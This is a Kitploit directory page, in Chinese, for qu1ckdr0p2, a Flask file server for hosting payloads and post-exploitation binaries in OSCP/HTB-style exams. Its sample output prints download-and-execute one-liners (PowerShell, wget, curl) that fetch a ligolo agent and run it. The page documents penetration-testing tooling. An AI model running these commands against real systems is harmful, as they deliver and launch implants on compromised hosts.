Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
qu1ckdr0p2 — 使用 Flask 快速通过 http 或 https 提供文件服务。 | Kitploit
工具/GitHubGitHub/byinarie/qu1ckdr0p2
Payload生成后渗透利用Web安全渗透测试红队Payload 开发
GitHubbyinarie/qu1ckdr0p2

qu1ckdr0p2

使用 Flask 快速通过 http 或 https 提供文件服务。

查看仓库
35532年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Python Flask Visual Studio Code Prettier License: MIT

关于

快速通过HTTP或HTTPS托管有效载荷和后利用二进制文件。

专为OSCP/PNPT等考试或HTB等CTF比赛设计。

欢迎提交Pull Requests和Issues,也欢迎任何贡献。

Qu1ckdr0p2附带别名和搜索功能。工具位于qu1ckdr0p2-tools仓库中。默认情况下,它会生成一个自签名证书用于--https选项;当Web服务器运行时,优先使用tun0接口,否则使用eth0。

common.ini定义了--search和-u选项中使用的映射别名。

当Web服务器运行时,屏幕上会打印出多个下载执行语句,可直接复制粘贴。

注意

当你复制粘贴下载执行语句时,根据你使用的终端模拟器,可能需要快速三次或双击下载执行语句以高亮复制。此问题将在后续版本中修复。

安装

使用pip是唯一支持的安装方式

克隆此仓库进行安装可能会导致问题

root@kitploit:~
pip3 install qu1ckdr0p2

echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc

or

echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc

serv init --update

用法

从当前工作目录提供单个文件

root@kitploit:~
$ serv serve -f implant.bin --https 443
root@kitploit:~
$ serv serve -f file.example --http 8080

更新与帮助

root@kitploit:~
$ serv --help            
Usage: serv [OPTIONS] COMMAND [ARGS]...

  Welcome to qu1ckdr0p2 entry point.

Options:
  --debug  Enable debug mode.
  --help   Show this message and exit.

Commands:
  init   Perform updates.
  serve  Serve files.
root@kitploit:~
$ serv serve --help
Usage: serv serve [OPTIONS]

  Serve files.

Options:
  -l, --list         List aliases
  -s, --search TEXT  Search query for aliases
  -u, --use INTEGER  Use an alias by a dynamic number
  -f, --file FILE    Serve a file
  --http INTEGER     Use HTTP with a custom port
  --https INTEGER    Use HTTPS with a custom port
  -h, --help         Show this message and exit.
root@kitploit:~
$ serv init --help       
Usage: serv init [OPTIONS]

  Perform updates.

Options:
  --update            Check and download missing tools.
  --update-self       Update the tool using pip.
  --update-self-test  Used for dev testing, installs unstable build.
  --help              Show this message and exit.
root@kitploit:~
$ serv init --update
root@kitploit:~
$ serv init --update-self

从映射别名提供文件

-u选项的映射别名编号是动态的,因此您无需记住特定编号或输入工具名称。

root@kitploit:~
$ serv serve --search ligolo               

[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1

[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2

[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3

[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)
root@kitploit:~
$ serv serve --search ligolo -u 3 --http 80

[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit

[→] URL: http://192.168.1.5:80/agent

[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ Web server running

许可证

MIT

下载工具